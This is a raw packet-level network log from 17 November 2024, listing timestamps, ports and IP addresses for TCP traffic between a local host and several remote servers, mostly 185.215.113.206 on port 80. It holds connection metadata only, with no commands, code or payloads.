Nov 17, 2024 22:20:50.556804895 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.556862116 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.556965113 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.556965113 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.556971073 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.557022095 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.557085991 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.557482004 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.557487011 CET	443	60871	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:50.557544947 CET	60871	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:50.559525013 CET	60890	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.559541941 CET	443	60890	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.559830904 CET	60890	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.561940908 CET	60890	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.561952114 CET	443	60890	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.581732988 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.581770897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.581804991 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.581829071 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.581840038 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.581882954 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.581887007 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.581904888 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.581939936 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.581959009 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.581979990 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.581993103 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.582042933 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.582081079 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.582088947 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.582123041 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.582174063 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.582186937 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.582211018 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.582231998 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.582243919 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.582262039 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.582278013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.582312107 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.582324028 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.582346916 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.582479000 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.615864038 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.615906954 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.615942955 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.615976095 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.615979910 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.616008997 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.616013050 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.616044998 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.616046906 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.616070032 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.616089106 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.656565905 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.656666040 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.656675100 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.656712055 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.656718016 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.656750917 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.656780958 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.656790018 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.656809092 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.656812906 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.656830072 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.656861067 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.656893015 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.656905890 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.656920910 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.656934023 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.656950951 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.656984091 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.656995058 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.657018900 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.657040119 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.657063961 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.657073021 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.657108068 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.657119036 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.657141924 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.657155991 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.657177925 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.657211065 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.657222986 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.657241106 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.657255888 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.657284975 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.657291889 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.657326937 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.657341957 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.657373905 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.657552958 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.657605886 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.657608032 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.657639980 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.657665968 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.657684088 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.690285921 CET	443	60878	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.690371990 CET	443	60878	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.690522909 CET	60878	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.691196918 CET	60878	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.691207886 CET	443	60878	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.691230059 CET	60878	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.691236019 CET	443	60878	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.696389914 CET	60891	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.696422100 CET	443	60891	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.696482897 CET	60891	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.697022915 CET	60891	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:50.697033882 CET	443	60891	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:50.698353052 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.698417902 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.698426008 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.698467970 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.698503971 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.698527098 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.698539019 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.698582888 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.698591948 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.698627949 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.698657990 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.698699951 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.698712111 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.698745012 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.698748112 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.698760986 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.698790073 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.698810101 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.698844910 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.698878050 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.698889017 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.698914051 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.698946953 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.698960066 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.698983908 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.699017048 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.699018002 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.699040890 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.699055910 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.699060917 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.699100018 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.732846975 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.732907057 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.732944965 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.732949972 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.732979059 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.732984066 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.733019114 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.733026028 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.733068943 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.755124092 CET	443	60873	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:50.755191088 CET	443	60873	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:50.755240917 CET	443	60873	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:50.755255938 CET	60873	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:50.755275965 CET	443	60873	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:50.755290031 CET	60873	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:50.755538940 CET	60873	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:50.755557060 CET	443	60873	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:50.755564928 CET	60873	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:50.755887032 CET	443	60873	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:50.755976915 CET	443	60873	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:50.756021976 CET	60873	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:50.774939060 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.775003910 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.775008917 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.775058031 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.775062084 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.775115967 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.775118113 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.775151968 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.775187016 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.775199890 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.775230885 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.775240898 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.775279999 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.775310993 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.775321960 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.775333881 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.775373936 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.775408983 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.775420904 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.775444984 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.775479078 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.775490046 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.775512934 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.775525093 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.775549889 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.775585890 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.775598049 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.775619984 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.775655031 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.775672913 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.775702000 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.805311918 CET	60892	443	192.168.2.7	23.221.22.206
Nov 17, 2024 22:20:50.805404902 CET	443	60892	23.221.22.206	192.168.2.7
Nov 17, 2024 22:20:50.805483103 CET	60892	443	192.168.2.7	23.221.22.206
Nov 17, 2024 22:20:50.806598902 CET	60893	443	192.168.2.7	23.221.22.206
Nov 17, 2024 22:20:50.806626081 CET	443	60893	23.221.22.206	192.168.2.7
Nov 17, 2024 22:20:50.806775093 CET	60893	443	192.168.2.7	23.221.22.206
Nov 17, 2024 22:20:50.806981087 CET	60892	443	192.168.2.7	23.221.22.206
Nov 17, 2024 22:20:50.807012081 CET	443	60892	23.221.22.206	192.168.2.7
Nov 17, 2024 22:20:50.807112932 CET	60893	443	192.168.2.7	23.221.22.206
Nov 17, 2024 22:20:50.807127953 CET	443	60893	23.221.22.206	192.168.2.7
Nov 17, 2024 22:20:50.815229893 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.815299988 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.815301895 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.815355062 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.815357924 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.815409899 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.815409899 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.815448999 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.815455914 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.815498114 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.815505028 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.815541029 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.815551043 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.815576077 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.815587997 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.815613031 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.815615892 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.815646887 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.815656900 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.815682888 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.815690994 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.815726995 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.815737963 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.815773010 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.815785885 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.815809011 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.815848112 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.815854073 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.815882921 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.815917969 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.815929890 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.815957069 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.815962076 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.816047907 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.849378109 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.849447966 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.849450111 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.849488974 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.849495888 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.849524975 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.849533081 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.849565029 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.849570036 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.849608898 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.869956970 CET	60894	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:50.869987011 CET	443	60894	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:50.870126963 CET	60894	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:50.870515108 CET	60894	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:50.870533943 CET	443	60894	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:50.889837980 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.889903069 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.889918089 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.889950037 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.889969110 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.889996052 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.890003920 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.890041113 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.890048027 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.890085936 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.890096903 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.890136957 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.890146971 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.890172005 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.890177011 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.890209913 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.890212059 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.890254021 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.890338898 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.890392065 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.890425920 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.890439034 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.890467882 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.890480042 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.890513897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.890549898 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.890558004 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.890611887 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.890616894 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.890652895 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.890664101 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.890686989 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.890724897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.890733004 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.890785933 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.905519962 CET	443	60879	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.907080889 CET	60879	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.907097101 CET	443	60879	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.907764912 CET	443	60879	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.908716917 CET	60879	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.908827066 CET	443	60879	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.908997059 CET	60879	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:50.931889057 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.931926012 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.931962013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.931998968 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932014942 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932020903 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932051897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932100058 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932107925 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932145119 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932174921 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932188988 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932209015 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932219028 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932260990 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932296038 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932308912 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932329893 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932334900 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932420969 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932431936 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932461023 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932475090 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932508945 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932518005 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932543993 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932554007 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932579041 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932600975 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932611942 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932622910 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932651043 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932653904 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932682037 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932694912 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932715893 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932725906 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932750940 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932760954 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932789087 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932796001 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932825089 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932835102 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932859898 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.932868958 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.932903051 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.955333948 CET	443	60879	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:50.966033936 CET	80	60797	185.215.113.206	192.168.2.7
